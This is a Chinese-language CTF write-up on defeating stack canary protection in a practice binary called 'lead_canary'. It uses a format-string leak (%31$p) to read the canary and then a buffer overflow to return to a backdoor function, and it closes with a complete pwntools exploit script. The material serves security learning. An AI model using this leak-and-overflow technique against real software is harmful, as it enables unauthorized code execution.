Lead_canary
Lead_canary
2021年11月18日
15:49
canary是pwn中的一种保护机制,在函数刚开始执行时会设成一个标志,这个标志会入栈,当程序执行完之后,他会校验canary值是不是会发生变化,如果发生变化,说明程序被改过,发生异常,如果没改过就正常。
这个在突破时我们用canary去泄露,canary是一个随机的值,每次程序执行他都是一个变量,核心就是每次执行时泄露一下,然后去拼接我们的shellcode。
正常情况下能够在堆栈中加上我们shellcode的代码,但如果堆栈没有执行权限,shellcode就不能执行。
大概意思就是如果程序开了canary保护,绕过得方法就是:1、获取canary得值。2、拼接shellcode。
题目是lead_cancary:
查看程序保护:
开启了canary保护。
接着使用ida打开程序:
main函数:
接着查看vuln函数:
查看read函数中的buf有溢出,同时可以利用printf打印canary得值。
那么canary得值如何手动调试出呢?红色框框部分是canary得初始化,其中箭头指向得位置是canary,eax就是保存canary得值。
这里面得eax存放的就是canary得值:
跟过去将断点下载0x8048602得位置:
这一步要做得就是把canary得值放入栈中,现在保存在eax中:
当然直接断点下在vuln函数单步到mov dword ptr [ebp - 0xc], eax同样能得到eax得值是canary。现在可以手动获得canary的值,所以接下来那么如何直接获得canary的值呢?好后面直接利用呢?
我们可以通过数数的方式获取canary的内容,因为这里有个printf函数所以可以利用字符串漏洞的方式打印出canary的值,所以具体做法是这样的:
1、在printf函数输入字符串之后查看距离栈的最初位置有多远利用printf函数打印canary
首先将程序断点在printf函数位置,之后查看栈空间状态,从第一个到红色框框的位置是33,需要去除2位,就是31。
执行程序之后打印栈空间状态,%31$p(这里说明的是31是canary栈中的位置)获取此时canary的值:
之后我们的payload这样写,payload=buf(100)+ p32(canary) + "b" * 8 + "b" *4 + backdoor_addr
即可, 前提是需要打印出canary的值。
具体操作:
from pwn import *
p = process("./leak_canary")
payload = "%31$p"
p.sendline(payload)
#打印Hello Hacker!之后接收canary的值
p.recvuntil("Hello Hacker!\n")
canary = int(p.recvuntil("00"),16)
backdoor=0x804859b
#这里要说明的是12其中8位是canary值到ebp前的栈空间,4是ebp空间大小
payload = b'a'*100 + p32(canary) + b'b'*12 + p32(backdoor)
p.sendline(payload)
p.interactive()